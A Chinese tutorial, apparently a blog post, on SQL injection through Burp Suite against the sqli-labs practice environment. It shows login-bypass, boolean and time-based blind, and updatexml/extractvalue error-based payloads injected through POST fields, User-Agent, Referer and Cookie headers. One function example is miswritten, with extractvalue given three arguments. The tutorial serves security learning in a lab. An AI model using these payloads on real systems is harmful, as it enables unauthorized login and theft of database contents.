使用 Burpsuite 进行POST 方式的SQL注入

0x01 Burpsuite介绍

Burp Suite 是用于攻击web 应用程序的集成平台,包含了许多工具。Burp Suite为这些工具设计了许多接口,以加快攻击应用程序的过程。所有工具都共享一个请求,并能处理对应的HTTP 消息、持久性、认证、代理、日志、警报

1.打开浏览器设置代理

Firefox 设置浏览器代理

image-20210317095310312

image-20210317095143432

image-20210317095226115

2.打开 burp suite

点击-Proxy->Intercept,默认intercept 功能是开启的,如果 intercept off 表示关闭,点击一下即可开启

image-20210317095459638

浏览器访问 http://192.168.37.136/sqli-labs/

发现页面已经打不开了,我们回到 burpsuite 页面发现已经截断数据包

image-20210317100006547

我们根据 host:目标主机来判断是否是我们想要的数据包,如果不是可以点击 Forward 放心数据包,Drop 丢弃数据包,我们点击放行

image-20210317100925014

点击放行之后页面正常打开

image-20210317100347205

0x02 POST 方式注入

1.打开 Less-11页面

http://192.168.37.136/sqli-labs/Less-11/

image-20210317104037513

回到Burp Suite 上开启截断

image-20210317104131087

提交表单信息

image-20210317104224907

获取 HTTP 请求

image-20210317104207829

用户名密码信息在这里被提交到服务器进行查询,我们可以使用 burpsuite 来对数据包进行修改,空白处右击选择 Send to Repeter 或者快捷键 Ctrl + R

image-20210317104444813

Repeater-是一个靠手动操作来补发单独的 HTTP 请求,并分析应用程序响应的工具

我们修改表单中提交的内容进行 SQL 注入

原:uname=admin&passwd=123456&submit=Submit
改:uname=admin&passwd=123456\&submit=Submit

我们在密码后面加一个反斜杠(转义符),用来转义 passwd 字段的闭合符号,导致SQL语句报错执行失败。

image-20210317105001342

可以看到我们转义了一个单引号,表示当前位置是使用单引号进行闭合的

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''123456\' LIMIT 0,1' at line 1
-- 您的SQL语法有错误;请检查与您的MariaDB服务器版本相对应的手册,以便在第1行的“123456”限制0,1附近使用正确的语法

我们通过单引号字符注入来构造一个万能密码

uname=admin&passwd=123456'or 1=1 --+&submit=Submit

image-20210317105510596

点击Render 可以查看此web页面

image-20210317105603596

我们可以看出,GET 方式和post 方式 的区别,GET方式 可以明显的 从 URL 中进行注入,POST可以在数据包中进行修改对应的字段来进行 SQL 注入

最后关闭 intercept

image-20210317105825680

0x03 POST 方式的盲注

1.POST 方式的布尔型盲注

1.1 Less-15

说明:用户名密码验证成功则显示

image-20210317110251481

image-20210317110338068

失败显示

image-20210317110420254

image-20210317110411728

开始截断数据包进行SQL注入

浏览器访问 http://192.168.37.136/sqli-labs/Less-15/

image-20210317110750556

开启 intercept

image-20210317111119083

回到 burpsuite 查看

image-20210317112844817

Ctrl +R 发送到 Repeater

image-20210317112831886

修改字段进行SQL 注入根据返回的图片来验证是否满足条件

'and (length(database())=8)--+&passwd=admin&submit=Submit

image-20210317113231895

成功返回 flag.jpg 失败返回 slap.jpg

2.POST 方式的时间盲注

把上面的布尔盲注,改一下,

'and (select if(length(database())>1,sleep(3),null))--+&passwd=admin&submit=Submit

image-20210317160219521

根据 bp 右下角的响应时间来进行判断条件是否满足

if 判断语句解释

if(length(database())>1,sleep(3),null) //条件成功则睡眠3秒,否则直接返回
length(database())>1                   //判断条件
sleep(3)                               //当条件成功时,则执行的内容
null                                   //当条件不成功时执行的内容

0x04 HTTP 头的注入方式

1.HTTP 头注入原理

HTTP 头中的参数被带入数据库中被执行就造成了 HTTP 投注入

MySQL 5.1.5 版本中添加了对 XML 文档进行查询和修改的函数

查询

extractvalue(XML_document,XPath_string);        #查询
XML_document:目标 xml 文档
XPath_string:xml 路径
例:extractvalue('<book><author>fengzilin</author></book>','/book/author')

修改

updatexml(XML_document,XPath_string,new_value);        #修改
XML_document:目标 xml 文档
XPath_string:xml 路径
new_value:更新的内容
例:extractvalue('<book><author>fengzilin</author></book>','/book/author','fzl')

函数说明:第二个参数 XPath_string 表示 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

2. HTTP User-Agent 注入

Less-18

先分析源代码

[root@localhost ~]# vim /var/www/html/sqli-labs/Less-18/index.php 

image-20210317163324704 image-20210317163456507

通过分析发现 Less-18 的代码中对用户的输入进行了过滤,但是并没有对HTTP头信息进行过滤,此时我们对HTTP头中的 User-Agent 进行修改,从而进行SQL注入攻击

我们先截获数据包进行修改,输入用户名和密码截取

访问 http://192.168.37.136/sqli-labs/Less-18/

image-20210317165346597

修改 User-Agent 字段 添加一个 ’ 单引号

image-20210317165650491

正常情况是不会有回显信息的,但是源码中为了方便学习,将SQL语句打印了出来

我们来查询数据库版本信息

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0 ' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1

image-20210317170615706

语法说明

' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1
'and     //用来拼接我们的SQL语句'
updatexml //第一个参数和第三个参数随意写的,第二个参数使用连接查询数据,第二个参数我们查询的字符串不满足 Xpath 格式所以报错
or '1'='1 //(注意这里少一个单引号)闭合最后的单引号否则整条语句报错连接查询不会被执行'
0x7e    //是波浪号 ~ 可以修改成其他符号的 16 进制,或者也可以删掉

<!-- extractvalue用法 -->
' or extractvalue(1,concat(0x7e,database())) or '1'= '1
方法如上一致

3.HTTP Referer 注入

Less-19

源码分析:

image-20210317172224390

该出和 Less-18 一样,只是,这里的uagent 换成了 HTTP_REFERER所以同样存在注入,也支持 updatexml

截取 HTTP 请求

image-20210317173240234

使用单引号测试是否存在注入

image-20210317173340358

1.1 报错注入
Referer: http://192.168.37.136/sqli-labs/Less-19/'and updatexml(1,concat(0x7e,(database()),0x7e),1) and '1'='1

image-20210317173651483

1.2 盲注测试
Referer: http://192.168.37.136/sqli-labs/Less-19/'or(length(database()))=9 or if(1=1,sleep(3),null) or '1'='1

image-20210317174057299

语句解释:

语句解释: 
(length(database())) =9 or if(1=1, sleep(3), null) or '1' = '1 #'语句中三个条件都为逻辑或 当第一个条件不成功时,再执行第二个条件,第二个条也不成功时,则执行第三个。其中有一个条件执行成功时,则不会向后继续执行。 

(length(database())) =9 条件不成功,而后执行了 if(1=1, sleep(3), null)条件,该条件中的判断为 1=1,结果永远都是为真的,而后执行 sleep(3),最终页面响应时间是 3 秒

0x05 Cookie 注入

Less-20

浏览器访问:http://192.168.37.136/sqli-labs/Less-20/ 输入 username ,password 输入 admin 并提交

image-20210318081802823

抓取到数据包我们点击放行,我们需要抓取包含 Cookie 信息的 HTTP

image-20210318081852453

需要登录才能,抓取到 Cookie

可以看到正常登录了,在页面中刷新一下页面

image-20210318082104299

回到 Burp Suite 上要可以看到抓到带有 cookie 的请求包,Cookie:uname=admin,然后使用 Ctrl+R 发送到 Repeater

image-20210318082019747

在 Cookie:uname=admin 使用 ‘or’1’=1='1 判断注入点,注意这里少一个单引号,为了不影响SQL语句正常执行

Cookie: uname=admin'or'1'='1

image-20210318082401097

使用 updatexml 报错注入获取数据库名称

Cookie: uname=admin'and updatexml(1,concat(0x7e,database(),0x7e),1)or'1'='1

image-20210318082755393

最终可以通过 cookie 进行注入成功

总结

本节学习了,使用 burpsuite 改包,从而实现SQL注入

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐